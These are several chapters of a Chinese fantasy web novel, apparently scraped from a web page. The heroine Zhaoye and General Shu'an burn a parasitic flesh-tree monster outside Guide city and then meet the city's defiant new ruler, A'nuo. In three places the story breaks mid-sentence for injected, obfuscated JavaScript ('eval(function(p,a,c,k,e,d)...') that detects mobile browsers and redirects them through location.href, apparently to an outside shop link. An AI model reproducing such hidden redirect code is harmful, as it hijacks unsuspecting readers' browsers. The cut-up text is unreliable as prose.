“倒是想起一事。“舒岸继续道,“有个幸存村民曾说,‘无相’之名是从一个游方道士处听来的。当时村民捡到玉胚以为是宝物,那道士却指点说那是无相无形之神,可幻化万物,并教他们将玉胚埋于地下温暖潮湿处供奉。“ 我脸色骤变,心跳如擂,“那道长……可是唤作秽道人?“ “正是此名。各城已在通缉此人,但他如同蒸发般消失无踪,或许已逃往仙魔两界了。“ 看来源头便是这神出鬼没的秽道人了。先前在刃柱城,也是他唆使施爷将瘴母神的胚胎埋入地下。从时间推算,秽道人离开刃柱城后,应当就来到了玉山。 “那其他各城可有盘查?那不是什么玉胚,而是怪物的卵壳。” “嗯,这倒不必过虑。月下州及其他九城皆已接到急令严查,眼下尚算安稳。只是玉山灾祸尚未平息……“舒岸攥紧拳头,眼中寒光凛冽,“必须守住玉山。若让灾祸蔓延至其他城池,人界——必亡。” “眼下先帮助归德渡过难关。”我顿了顿说道,“小青会帮北祐将军肃清逃窜出去的怪物,你放心。” “嗯。谢谢你,照夜。” 连续两日疾驰后,我们抵达了桐树镇。望着断壁残垣间杳无人烟的凄惨景象,舒岸面露痛色。 与迩松会合时,我竟遇见个熟悉面孔—— 那人见到我先是一愣,随即喜形于色。 “诶!大姐头!“ “阿烈?“ 先前我将阿烈引荐至舒岸麾下,他便在军中担任斥候,归迩松调遣。 趁着舒岸与将领们商议军情时,我与阿烈简短叙叙旧。多日不见,他身形明显健硕了许多,皮肤晒得黝黑发亮,眉宇间神采飞扬。虽整日与危险相伴,但到底见到了阳光,内心甘之如饴。 “你怎么来了?诶,虽然一点没瘦,但还是好看。” 我掩嘴笑道,“明年应该就瘦下来了。” “大姐头!“阿烈神秘兮兮地凑近低声道,“这地方邪门得很。那些山民像中了邪般供奉怪物卵壳,听幸存百姓说,归德城里还有人高价倒卖。“ “你亲眼见过没有?与当初在施爷那儿收缴的可相同?“ 阿烈摩挲着下巴仔细回想,摇头道,“虽只是听说,但……略有不同。里头不是虫卵,而是布满红色的绒毛,不停蠕动,看得人头皮发麻。“ 我搓着泛起鸡皮疙瘩的手臂,面色发白,“归德城外现今是何光景?“ 提及此处,阿烈眼中掠过深切的恐惧。不待他细说,舒岸已唤我上马。 沿着险峻的山道疾驰两个时辰后,我终于明白了阿烈的恐惧从何而来—— 在半山腰的开阔处,我们窥见了那怪物的真容。 一股难以名状的压迫感攫住了所有初见此景的人。 归德城外的地平线上,那东西正如瘟疫般盘踞着,扭曲了天光云影。 那绝非寻常意义上的树木,而是一株无法估量的巨型“菌株“。深红色搏动的菌丝如同病态的血管网络,深深扎进大地,仿佛正从土壤深处吮吸着三界的生命力。 而从这狰狞地基上崛起的,是一棵扭曲到无法形容的“巨树“。 尾巴紧紧贴在我头顶,声音沙哑,“照夜,仔细看那树干——是人的血肉。“ 尾巴说得没错。那分明是无数苍白扭曲的人体相互绞合堆叠而成的惊悚柱体。 肢体以违背常理的角度缠绕嵌合,凝固在最后挣扎的瞬间。有些面容尚可辨认,空洞的眼窝仰望苍穹,张大的嘴凝固着无声的哀嚎;更多躯体已沦为建筑原料,只在黏滑暗红的菌膜下隐约显露出手臂、腿骨与脊椎的轮廓。 整棵“树“随着缓慢而骇人的搏动微微起伏,即便是瞎子也足以感知——这是活物。 49. 第 49 章 自那血肉之树每一寸“树皮“、每一道肢体缝隙间,迸发出亿万条鲜活扭动的猩红鞭毛。 它们不似植物的气根,更像是拥有恶毒生命的触须,细密如发却坚韧如钢鞭,在空中无尽地蔓延、摇曳、探察,形成一片笼罩方圆数里的沸腾血色雾霭,宛如巨大海葵伸向水域表面的致命触手。 任我如何想象,都无法描绘眼前这骇人景象。 在舒岸惊骇的目光中,那片血色雾霭正缓缓向归德城上空蔓延。 “将军,这些毛发敏锐至极!“迩松急声道,“任何生灵气息或灵力波动,都会瞬间引来它们疯狂扑袭。归德守军不断反击,反倒促使这怪物加速生长!“ “他们动用了仙力箭?“舒岸按住腰间佩刀,牙关紧咬,“没有告诫他们切不可使用仙力么?” 迩松眉关紧蹙,低声道,“符光鹊不知放出了多少,想必他们已经得到了消息!” 就在这时,高耸的归德城墙上红色的弓箭如雨而下,齐刷刷向无相孽的躯体袭去。 只见那红色的鞭毛像是饿极的野兽张牙舞爪倒扑向那箭雨,贪婪地扑向那经由□□转化而来的仙力。 它们织成血雾,以一种领域性的、绝对排斥的力量,宣告着任何踏入其红色领域的生灵,如若不退,那便都将成为它不断生长、不断畸变的一部分。 “更棘手的是,“迩松深吸一口气,“这些毛发断裂后能迅速再生,极难对付!将军,单凭武力绝无胜算!“ 难得尾巴亦发出一声哀叹,贴着我的耳朵道,“真是可怕,除非暴露核心,将其一举消灭,不然很难对付那玩意儿。” “你有什么好办法,尾巴?” “……我暂时也没有太好的办法。当务之急是令他们停止为怪物供给仙力。” “除了符光鹊,可还有办法传递消息?” “……焉耆的速度可以突破那些恶心的鞭毛。”尾巴顿了顿,又说,“你可召唤它前来,除此以外……可以等等时机。” 回到桐树村,众人聚在营地七嘴八舌商量起对策。 枝荣沉默地坐在我对面,并不参与讨论,始终沉默地注视着我。我只得起身走向一处破屋,不出所料,他很快跟了过来。 “你有何事?” 枝荣先是客气地向我拱手一礼,开门见山道,“失礼了,因见过您数次,便一直想跟您打个招呼。” “倒不必这么客气。 “主要……我有一事想告诉您。” 我此刻有些心烦,摆摆手道,“快说吧,眼下没多少时间寒暄。” 枝荣接下来的话语令我浑身一震。 “我是太师的人,奉命伺机取您性命。“ 尾巴噗嗤笑出声,露出一截脑袋像是在打量面前这个镇定自若的男人。 “为何杀我?我和他无冤无仇。” “因您长得太像棠梨皇后,必会影响大将军。” “……影响大将军班师回朝?太师执意放弃玉山,甚至不惜割让三城给仙界,是为了换取仙界对月下州的庇护?“ 枝荣的坦诚反倒让人有些无所适从。他坦然点头,神色平静得仿佛在谈论天气,“正因我随迩松将军同来,不会惹人怀疑。即便事发,也能借我魔族的身份挑拨两界关系。“ 我望了眼渐沉的暮色,找了处干净地方坐下,重重叹了口气,“那你为何要全盘托出?虽然你确实伤不了我分毫。“ 示威一般,尾巴已悄无声息化为利刃架在男人的脖颈上。 这个年轻人做出投降之态,笑了一声道,“我知道您的本事,本也不打算动手。只是这样一来,我回去了也是死路一条。来此之前,晋川曾劝我向您投诚,说或许能寻得一线生机。“ 我心里恶狠狠想,晋川这个不老实的,不知在想什么,难道他反对人界割舍玉山南? 晋川是人君极其信任的贴身侍卫,他的态度是否可以代表人君? 我不知道,这情况着实诡异,太师主张弃守玉山换取仙界庇护,舒岸坚持死战三月,那人君的态度究竟如何? 不知为何,我此刻又想起渊寂曾说过,人界的命运已定。 他是指玉山之事么。可恶,这个老东西到底想干什么。 不多时阿烈寻来,说舒岸请我过去商议。 营帐内只有舒岸、迩松、王拓和随我同来的枝荣。 情势紧急,不容拖延。他们商定的对策是必须立即制止归德城的错误行动,同时准备火攻。为此,大家必须分个组。 “我必须跟着将军,这点没有商量的余地。“ 迩松的目光在我和舒岸之间转了转,“将军打算亲自前往归德城,你亦前往?” “啊?这……嗯嗯,我要一起去,总之我必须跟着他才行。”我强压下对那菌树的恐惧,咬咬牙应道。 舒岸闻言,只是冲我点点头。 “我们会加紧制作桐油木箭。“王拓解释道,“正好桐树镇盛产桐树。届时从高处火攻,桐油能助火势在怪物身上迅速蔓延。“ “我会说服归德从另一侧配合。“舒岸沉声道,“事不宜迟,明早出发。“ “将军务必小心。“迩松抱拳道。 三人退出后,帐内只剩我和舒岸。夜色渐浓,湿冷的夜风从帐隙钻入,我不禁打了个寒颤。 灯光在舒岸脸上投下摇曳的阴影,他的神色却异常平静。 “你看起来……很疲惫。“ 舒岸淡淡一笑,“眼下恶战在即,不是喊累的时候。“ “你有把握说服阿迪纳吗?“ “……必须一试,别无他法。” 我走到舒岸身边,打量着他的眉眼,又问,“舒岸,你执意要守住玉山,是否有私心,你不忍心看着棠梨的故乡——被怪物吞噬毁灭。” 尾巴好似睡着了,并没有窜出来偷听。 舒岸自嘲地勾起嘴角,眼中泛起深切的哀伤,“我不想骗你,照夜。我确实存着私心。当年棠梨离乡远嫁,就是为了让玉山南三城归入人界治下。她渴望和平,不愿故土再陷战火。只是……她低估了亲族独立的决心,最终成了无辜的牺牲品。“ 我意识到棠梨之死另有隐情,但此刻不是深究的时机。比起这个,还有更紧要的问题。 “为什么玉山南不能独立?“ 舒岸长叹一声,道出一个令人震惊的真相。 四百年前,玉山南边曾发生过一场惨烈的灾难。那时的仙帝下令焚尽了整片玉山以南的土地,直到近百年后,那片焦土才慢慢恢复了往日的生机。正因如此,后来玉山南三城中的一支族人毅然选择归顺人界寻求庇护——而棠梨,就是那一族的圣女。 “什么灾难?”我追问。 舒岸停顿片刻,目光落在我身上,“和这次一样,只不过还要惨烈得多。” 我头皮一阵发麻。 这段历史我在任何典籍中都不曾见过。四百年前玉山南确实战乱不断,死伤无数,但从未提及是怪物作祟。 有人篡改了史书,刻意隐瞒了怪物祸乱三界的真相。 我困惑地望向舒岸。这段被掩盖的历史,竟是通过口耳相传保存下来,又经棠梨之口告诉了他。难怪他知道这些怪物早就在这片土地上肆虐过。 这一次不过是卷土重来罢了。 我和尾巴之前的猜测,竟以这种方式得到了证实。 更让我心惊的是舒岸此刻的神情——那暗示着,仙界为了消灭这些不死的怪物,很可能重演历史,用烈火将这片土地上的所有生灵一并清除。 这真是全部的真相吗?我不敢确定,总觉得还有什么地方说不通。 但眼下不是深究的时候,我们有更要紧的事要做。 真相,只能慢慢再查了。 这一晚我翻来覆去睡不着,篝火噼啪作响,搅得我心里发慌。尾巴却软绵绵地耷拉着,毫无反应。好不容易熬到天亮,舒岸在晨露中轻轻唤醒我。 该出发了。 这时我才猛地想起一件要命的事——玉山一带布下了禁仙锥,我的焉耆根本无法响应召唤飞来! 舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549515|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岸却毫不在意,招呼我跟他同乘一匹蹑云驳,朝着归德城方向赶去。 路上我晃了半天尾巴,他才悠悠转醒。我忍不住抱怨他怎么也没想到焉耆来不了,还以为能一眨眼的工夫就能到归德城。 尾巴竟也愣了半天,才尴尬地挠挠头,说道,“哎呀,你看我这脑子,竟然把这茬搞忘了。” “那怎么办,总不能在那怪物的眼皮子底下堂而皇之溜过去!” 尾巴连忙说道,“能怎么办,只能试试了,万一成功呢?” “你这个笨蛋!” 见我情绪激动地自言自语,舒岸轻笑,“朝明说你总爱对着尾巴说话,我本来不信,现在看来是真的。” “你该不会真想直接冲到城门口吧?” “怎么可能。”舒岸突然驱使蹑云驳转向,朝着归德东边的山上行去,“小兔可以在风中滑行,如果计算好距离,那么便可乘风而去,到达归德!” “哎呀,妙呀,确实是个好办法。”尾巴手舞足蹈附和道,“哪怕差一点距离也不要紧,总比硬闯可行性高。” 我心中万分忐忑,这个计划实在疯狂,在我看来可行性几乎为零。但时间不等人,除了赌一把,我们别无选择。 半夜,山路颠簸,我却睡得天昏地暗,直到舒岸轻轻把我推醒。 冰凉的雨点打在我鼻尖上,高处卷来的风裹着夜色,把远处那座即将被怪物吞噬的城池笼罩得模糊不清。 我翻身跳下小兔宽厚的背,伸了个懒腰。真是的,为何连尾巴也睡了一路——真是想不通,一颗仙丹居然也会犯困。 雨很快大了起来。山巅冷飕飕的,那棵藏在血雾里的巨树仿佛也在沉睡。 舒岸凝望着远方,默默抽出大刀,用布条紧紧缠在手上。刀身上镶嵌的熠石闪着凛冽的寒光,像能斩开一切阻碍。 “照夜,出发。” “好,尾巴,出发!” “知道了知道了。” 小兔载着我和舒岸,极速奔向悬崖,一跃腾空的刹那,雨水扑面砸来。 我在黑暗中死死盯住那只怪物,不敢惊动它一丝一毫。速度越来越快,我几乎能听见舒岸的心跳,咚咚地像是要冲出胸膛。 就在我们逐渐逼近无相孽正上方的时候,下方漆黑的城墙上,忽然亮起了点点灯火——下一刻,无数灌注仙力的箭矢齐刷刷射向巨树! 刹那间,猩红的鞭毛如万千铁棘破空而起,直朝我们扑来。舒岸一边指挥小兔急转,一边挥刀斩断那些试图缠绕我们的菌丝。 “啧,真是添乱!”尾巴紧紧揪住我的头发,探头观察着那恐怖的无相孽。 箭矢如星雨照亮天际,可那光芒却仿佛成了饿兽的盘中餐,不断被怪物吞噬,发出的噼啪声不绝于耳。 我攥紧缰绳,心几乎跳到了嗓子眼。 “没辙了,照夜!听我命令!”尾巴窜到我头顶,大声吼道,“事后你再向青莲道歉!” 我一愣,回头看向已经跳到舒岸肩头的尾巴,“你……你要做什么尾巴?” “共鸣!” 只见尾巴迅速从我身体里抽出大量仙力后,立刻裹在舒岸手上。金色的光温暖而刺眼,在这极黑的雨夜中,犹如永不熄灭的天权星。 舒岸怔愣一刹那,眼中的恨与愤几乎喷薄而出。他一把将我拽起,站定在兔背上。 脚下,无数菌丝正汇聚成一团翻涌的血雾,朝我们扑来。 “抱紧我,照夜。” 我几乎是下意识地,被尾巴操控着抱紧了舒岸结实的腰。下一刻,舒岸带着我纵身跃出——直扑那团血雾! 大刀被汹涌的仙力包裹,化作一柄仿佛能劈山开海的神兵,所过之处,怪物被尽数焚灭成灰。 恍惚间,我甚至听见了怪物扭曲的嘶吼,在寂静的雨夜里格外瘆人。 冲破血雾的那一刻,我看到了令人毛骨悚然的一幕——肉树上睁着无数只眼睛,每一只都闪烁着疯狂而绝望的光,鼓胀着、转动着,四下窥探。 “再来一击!照夜!” 50. 第 50 章小兔立大功 尾巴闻声而动,身躯猛地膨胀、分裂,化作无数道金色的流光,每一道都衔着一柄寒光闪闪的利刃,如同愤怒的蜂群,精准而狠厉地刺向树干上那些疯狂转动的眼睛! 与此同时,舒岸发出一声低吼,周身仙力激荡,而他双手握紧着的那柄熠石大刀,悍然劈落!刀光如瀑,硬生生将那庞大的肉树砍下一大截! “噗嗤——” 仿佛撕裂了装满粘稠液体的囊袋,那肉树的断口处瞬间喷涌出无穷无尽的猩红菌丝,它们疯狂扭动、蔓延,几乎眨眼间就将下方的大地铺成了一片蠕动着的、令人作呕的红色菌毯。 就在这时,归德沉重的城门在嘎吱声中开启一道缝隙,一队人马疾驰而出,试图接应我们。 然而,这动静立刻吸引了菌丝的注意。 如同嗅到血腥味的鲨鱼,大量菌丝立刻调转方向,朝着那队人马汹涌扑去! “走!”舒岸当机立断,一脚狠狠蹬在还在抽搐的肉树断面上,借力腾空,矫健地落回小兔背上。 小兔四足发力,载着我们向城门方向狂奔,身后,那由菌丝汇聚成的红色浪潮层层叠叠,紧追不舍,它们甚至模仿出巨兽獠牙的形状,发出令人牙酸的摩擦声,誓要将我们吞噬。 我回头望去,那菌浪几乎遮天蔽日,冰冷的恐惧沿着脊椎爬升。 很快,我们与那队归德军士汇合。为首的是一个面容坚毅、眼神锐利的中年将领。 他的目光在我和舒岸身上快速扫过,没有多余言语,立刻指挥部下变换阵型,掩护我们后撤。 舒岸的目光落在一旁军士背着的箭篓上,他刚瞥了一眼,机灵的尾巴就已经卷起一张硬弓和几支箭,塞到了他手中。 “抓紧了!”舒岸低喝一声,命我独自控缰。他则稳稳地站在疾驰的兔背上,身形如松。 舒岸迅速取出浸透桐油的布条,牢牢缠在箭簇之上,下一刻,一簇炽热的火苗燃起,点燃了夜色中的一簇红光。 被仙力裹住的普通弓箭,拥有了洞穿万物的能力。 火箭离弦,破空而去! 它像一颗逆飞的流星,精准地穿透了层层叠叠、试图阻拦的菌丝浪潮,带着一往无前的气势,最终狠狠钉入了远处肉树的树干! 轰! 火焰瞬间爆开,并以惊人的速度蔓延,贪婪地舔舐着怪物的血肉。那肉树剧烈地痉挛起来,发出的嘶吼声变得更加扭曲和痛苦。 冲天而起的火光,几乎将半边天际都染成了橘红色。 追击我们的菌浪仿佛瞬间被抽去了力量,它们不甘地在我们后方扭曲、蠕动,最终如同退潮般,争先恐后地缩回,扑向那棵熊熊燃烧的母树。 小兔趁机用尽最后力气,一个猛冲,带着我们险之又险地擦着门缝冲入了归德城内。 身后传来“咚”的一声巨响,沉重的城门紧紧闭合,将外面那片猩红地狱彻底隔绝。 然而,城门内的气氛并未缓和。 冰凉的细雨依旧飘洒,我们仿佛一头撞进了另一个陷阱——无数武装到牙齿的军士层层叠叠地将我们围在中央。刀出鞘,箭上弦,所有的目光都充满了警惕与敌意。 那名方才掩护我们入城的中年将领,此刻正缓缓抬起手,只需一声令下,密集的箭雨就会将我们射成筛子。 “报上名来。”他声音冷硬,不带一丝感情。 “……绫洪,许久不见了。”舒岸沉声回应。 尾巴此刻早已缩回我的耳畔,用只有我能听到的声音兴奋地嘀咕着,“啧啧,来了来了!我最爱的戏码——再见不识,反目成仇!” 我无奈地轻轻拍了拍他,低声道,“讨厌,闭嘴!” 那名叫绫洪的将领眼神锐利如刀,死死钉在舒岸身上,“事到如今,你这个大将军来归德所谓何事?” 舒岸翻身下马,随即伸手将我扶了下来。 目光平静地扫视了一圈周围神色紧张的将士,舒岸深吸了一口带着寒凉雨丝和硝烟味的空气,朗声道,“为归德百姓而来。引我去见城主阿迪纳。” 绫洪像是听到了什么天大的笑话,仰头爆发出了一阵充满嘲讽的大笑。他踱步上前,每一步都带着沉重的压迫感,每一个字都蕴含着压抑的愤怒,“舒岸,你竟敢独自前来,真是好胆量!走吧,城主……可是‘久候多时’了!” 我紧紧跟在舒岸身后,那些盯着我们一举一动的将士们像是在盯着猎物,令人后脊发凉。 舒岸似乎察觉到了我的恐惧,不动声色地伸出手,牢牢握住了我的手掌。他温暖而粗糙的掌心,在这寒凉的雨夜里,悄然传递来一股令人安心的力量。 归德城坐落在一片平坦的谷地中,规模不算宏大,放眼望去多是木质结构的建筑。 由于玉山以南气候温润,几乎不见寒冬,木料易受潮腐朽,当地人便习惯给房屋涂上一层厚厚的红漆,以防虫蚁蛀蚀。细雨迷蒙中,整座城竟像被笼罩在一团沉寂的红色焰火里。 城中央最高的那栋木楼,便是城主的居所——“火凤楼”。 楼前悬挂的牌匾上,三个大字笔走龙蛇,飘逸飞扬,确如凤凰展翼。 武器被收缴后,舒岸和我终于得以见到那位坐在上首的“城主”。 出乎意料,坐在那里的竟是一位年轻女子。 她头戴一顶火棘编织成的冠冕,身着粗犷的皮制衣裙,结实的大腿上缠绕着网状红绳,耳垂上坠满了各式银环,一股野性难驯的气息扑面而来,宛如一头蛰伏于密林、随时准备暴起出击的豹子。 “你父亲呢,阿糯?”舒岸开口。 我一怔,再次仔细打量那女子,原来她并非真正的城主,而是城主的女儿。 “阿迪纳已经战死了。”名为阿糯的女子审视着我们,嘴角勾起讥诮的弧度,“现在,我才是归德的城主。舒大将军,是奉了人君之命,来催缴贡税的么?不好意思,归德城从此不再归顺月下州,一分钱也没有。” “……真是遗憾,我来迟了。”舒岸沉默一瞬,长叹一声,目光直视阿糯,提高了音量,“阿糯,把兵权交给我。城外那怪物必须尽快消灭,否则整个归德都将遭殃。” 阿糯闻言,像是听到了极其可笑的事情,仰头大笑起来。 她利落地从座位上跳下,绕着我和舒岸缓缓踱步,目光如炬,“你还是和从前一样,目中无人,惹人生厌!听着,我不知道人君在打什么算盘,也不在乎化西、天翮怎么想。归德,不再是人界治下的城邦,不再尊舒仲为人君!至于你的那些梦话……”她冷哼一声,语带威胁,“不如留到死前慢慢幻想吧!” 话音未落,周围数十名守卫齐刷刷地抽出兵刃,寒光凛冽,直指我们。 我下意识地缩了缩脖子,只感觉一股无名燥热在胸腔里翻涌,几乎要破体而出。 尾巴死死扯住我的耳垂,不断低语,“冷静,照夜!别怕,千万别怕!” “阿糯,你是在责怪月下州没有及时救援吗?”舒岸眉头紧锁,眼中满是沉痛与自责,“那怪物极其棘手,寻常仙力难以对其造成有效伤害,反而会助长其生长繁衍!我们在玉山防线守得异常艰难,死伤惨重,陛下已倾尽所有力量,只求保住三城!我理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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经过连番奔波和激战,我的精神早已疲惫不堪,此刻也无心参与这复杂的旧日情仇,便悄悄挪到一旁,给自己倒了杯水,默默润着干渴的嗓子。 “可你呢?你连一丝坚持都没有!”阿糯的语气骤然软了下来,方才的敌意冰雪消融,竟带上了三分委屈,七分娇嗔,“父亲……父亲他不过是怕我嫁去月下州受委屈,才一时不肯松口。可你,竟然就那么放弃了!算了,我会传令下去,暂停一切攻击。” “抓紧时间制备火箭、火油、火石,还有投石机。”舒岸立刻接话,部署起来。 “哦。” “城中百姓现状如何?” “温饱尚能维持。归德城南边,暂时还没发现怪物的踪迹。” “那怪物名唤‘无相孽’,擅长寄生人体,极为狡猾。一旦发现被寄生者,必须立刻用火攻彻底清除,斩草除根。” “哦。” “化西城那边呢?” “哼!无情无义!”提到这个,阿糯的火气又上来了,“自从怪物出现,他们就紧闭大门,甚至还高价售卖粮草给我们,真是该死!迟早有一天,我要把图拉的脑袋拧下来!” 舒岸疲惫地揉了揉额角,望向窗外渐亮的天色,“有点累了。给我们安排两间房休息吧。” 阿糯这才将目光正式落在我身上,带着审视上下打量,“这位是?你们在城外御敌时我看到了……是仙人?” “我的好友,照夜。”舒岸起身,顺势拉住我的手腕,经过阿糯身边时,脚步微顿,低声道,“阿糯,数年不见,你愈发漂亮了。” 再瞧那位女城主,整张脸“唰”地一下红透,如同她冠上的火棘。 “要……要你多嘴!哼!” 51. 第 51 于是,在这栋名为“火凤楼”的木楼中层,我们莫名其妙得到了优待,被安置在一处带独立小庭院的客房里。 楼中造景,花草树木、流水小桥一应俱全,在雨中别有一番雅致韵味。 痛快地洗了个热水澡,我换上了一套归德式的轻薄衣衫,整个人顿时清爽凉快了不少。 我站在镜前,正兴高采烈欣赏着这异域风格的装扮,尾巴却在一旁评价道,“不错,像一头威风凛凛的雄狮。” “讨厌!都怪你,把我变得越来越胖了!”我没好气地抱怨。 “没办法嘛。青莲不在,我平时不敢轻易离开去处理积存的仙力,万一有危险,怕赶不及回来。”尾巴翘着二郎腿,窝在柔软的被褥里,振振有词,“再说了,横竖你都这么胖了,再胖一点点也没什么区别嘛,反正青莲又不在乎。” 我气得一把抓起尾巴,哐哐给了他两下,“他不在乎我在乎!衣服总是不合身,难受死了!你快给我想想办法!” 尾巴灵活地缠上我的手腕,哈哈大笑着讨饶,“好好好,我想办法。这样,你接下来多睡觉,你睡着的时候,我就能抓紧时间把多余的仙力压缩回仙丹内部,这样你身形应该就能恢复些了。” 我实在困得不行,躺下刚合眼,还没来得及跟尾巴多说两句,就感觉他软软地贴在我胸口没了动静。我也支撑不住,转眼就打起了呼噜。 这一觉睡得天昏地暗,醒来时窗外已是一片漆黑。只见一张粉嘟嘟的小脸凑在我眼前,大眼睛像星星似的闪着光。 “哇,你终于醒啦!” 我揉着发胀的后脑坐起身。窗外风雨声不止,空气闷热又潮湿。 “舒岸将军呢?” 陌生的小丫头端来一碗热腾腾的米粥,眨巴着眼睛说,“姐夫在和姐姐商量事情呢。你先吃点东西吧?最近肉食紧缺,喝点素粥可以吗?” 我暗自感叹,没想到舒岸和阿糯还有这样一段过往。看来他这趟是注定要留下,当这归德城的“姐夫”了。 其实我没什么胃口——确切地说,已经很久不知道饿是什么滋味了。 尾巴虽没明说,但我知道他肯定又背着我吸收了太多仙力,搞得我连基本的饥饿感都消失了。 闲聊中,我很快摸清了几件关键事。南边的化西城趁火打劫,把归德当冤大头狠宰,眼下归德连肉食都需要高价限量供应,就连城主家也很久不见荤了。其次,这小丫头是阿糯的亲妹妹,名叫阿米。 最后,我得知了老城主阿迪纳的结局——他在与无相孽的战斗中牺牲,之后才由女儿阿糯接任城主。 我忍不住问,“阿迪纳城主没有儿子吗?” “当然有哥哥啊。”阿米抹了抹眼角,“但哥哥病得很重,只能由姐姐先顶着。人君不要我们了,我们都要被怪物吃掉了……” “别怕,舒岸将军不是来了吗?” 阿米抬起泪汪汪的眼睛,抽噎着说,“可、可你们只有两个人,能有什么用!” “别哭呀。”我放下调羹,手忙脚乱地安慰阿米,“玉山下还有驻军呢。对了,还有小青、焉耆他们都会来帮忙的。” “小青是谁?焉耆又是谁?” 我耐心安抚好这个小姑娘,慢悠悠喝完粥后,便请她带我去找舒岸和阿糯。 火凤楼比想象中还要宏大,亭台楼阁错落交织,初来者没人带路绝对会迷路。 跟着阿米七拐八绕,我们回到了之前面见阿糯的大厅。厅内聚了不少人,似乎正在议事。 我悄悄走到舒岸身边,瞥了眼那些陌生面孔,下意识攥住了他的衣袖——我一向不喜欢人多的场合。 “睡了一天一夜,累坏了吧?”舒岸脸色不太好,眉宇间笼罩着阴郁,却还是勉强对我笑了笑,“抱歉,本该好好照顾你,结果一直给你添麻烦。” 我摇摇头正要开口,对面一位头戴缀满弯月挂饰帽子的老婆婆突然站起身,双眼圆睁,嘴唇剧烈颤抖着指向我,“天呐!棠梨大人……是您吗?棠梨圣司大人!” 在场所有人都愣住了。 我慌忙摆手解释,“您认错人了,我不是棠梨,我叫照夜!” “不、不会的!我绝不会认错!”那位被称为羽婆的老婆婆激动地走上前,用枯瘦的双手紧紧握住我的手,泪流满面,“这容貌、这神态、这声音……棠梨大人,我是羽婆啊!您小时候最爱吃我做的酸角糕,还记得吗?” 这时,另一位身材魁梧的大汉也凑上前来,仔细端详着我,“你别说,你还真别说,太像了,难不成真是棠梨圣司大人?可她不是——” 阿糯快步走来,按住我的肩膀,有些无奈地对羽婆说,“守月卿大人,她是舒岸雇佣的……呃——”她顿了顿,转头看向一直沉默的舒岸,“她是做什么的来着?” “制丹师傅。” “对!制丹师傅。所以她不可能是棠梨,棠梨二十年前就已经去世了!” 那位虬髯大汉清了清嗓子,连忙打圆场,“各位,我们不是正在商讨如何对付那怪物吗?可别跑题了。” 阿糯冷哼一声,“多措,你们化西城趁火打劫也不是一次两次了。说什么商议,不过是想方设法搜刮我们,榨干归德最后的价值。但你别忘了,归德若是城破,下一个就轮到化西!” 名叫多措的大汉讪讪一笑,“城主这话说的,咱们三城同宗同源,同气连枝。大敌当前,自然要同仇敌忾。只是化西也需要提前筹备物资,您得理解。况且——月下州的援兵这不就来了么。” “就他一个人,能顶什么用!月下州根本就没把我们当臣民看待!早知如此,当初就该誓死不降!”阿糯咬牙切齿道。 一直拉着我的羽婆抹着眼泪,蠕动着干瘪的嘴唇轻声说,“圣司大人是为了我们的未来,才只身远嫁人君的。她离开故乡这么多年,一定过得很不快乐……” 舒岸无奈地叹了口气,“既然三城代表都在这里,不如暂且放下成见,先合力剿灭无相孽。夜长梦多,那怪物会不断寄生繁殖。” 说到这里,舒岸下意识按了按自己的胸膛,露出一丝苦涩的笑容,继续道,“一旦被它寄生,就只有死路一条。所以必须采取远攻策略,按照我刚才说的,尽快准备火箭、火油和火石。” 多措眼珠一转,连连应声退了出去。 趁舒岸与阿糯低声交谈时,颤巍巍的羽婆将我拉到窗边,布满皱纹的手轻抚过我的脸颊,眼中满是慈爱与欣喜。 “棠梨,你不记得羽婆啦?你是我从小带到大的呀……怎么把自己吃得这么圆润了?不过没关系,这样也很好看。” “婆婆,我真的不是棠梨,我叫照夜。” “不记得了也没关系,”羽婆的声音温柔得像是怕惊走一只蝴蝶,“咱们回家去,月翮壁上你想画什么就画什么,阿婆再也不说你了,好不好?想画小兔子就画小兔子,想画大王八就画大王八。就算你总是睡懒觉错过沐月仪也没关系,想睡多久就睡多久——跟阿婆回家吧,孩子。” 羽婆一边说着,泪水更是止不住地落下,那双苍老的眼睛里盛满了对往昔的追忆与痛楚。 见羽婆如此,我也不由得鼻尖发酸——想来那位棠梨圣司,定是深受族人敬爱,才会在多年以后,仍被这样深刻地铭记。这可能也是她愿意为了族人远赴月下州,直至身死异乡的原因。 “羽婆,虽我不是棠梨……但若她还活着,一定会很想念你们。” 这时,舒岸走了过来,温热粗糙的手掌轻轻按在我肩上,“棠梨已经死了,羽婆。抱歉,是我们没有保护好她。” 两位与羽婆身着相似服饰的侍女悄然上前,搀扶着泣不成声的老人缓缓离去。 我望着她们的背影,心头像是压了一块石头,沉甸甸的。 走出大厅,我和舒岸共撑一把伞,在渐衰的城中漫步。 灯火寥落,雨丝绵密,整座城仿佛正随着雨声一点点失去最后的生机。 “别太放在心上。”舒岸的声音在雨声中显得格外低沉,“棠梨曾是他们的圣司,地位尊崇。这么多年过去了,新的圣司始终没有出现……他们一直在等待,等待能重新庇佑他们的‘月翮圣女’回来。” 月翮圣女——这个我只在古老传说中读到的称谓,没想到至今仍被铭记与期盼。 归德、化西与天翮三城,本就同出自天翮一族,玉山以南曾是他们的故土。 他们信仰明月,坚信修仙的终极便是奔向月亮。 可月亮高悬,亘古不变,没有谁可以接近它。 “我没事。只是……你觉得他们真能放下成见,共同抗敌吗?” “难。”舒岸轻叹,“人心自古难齐。方才你也看见了,天翮城置身事外,毫不关心无相孽之祸;化西则一心想趁火打劫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 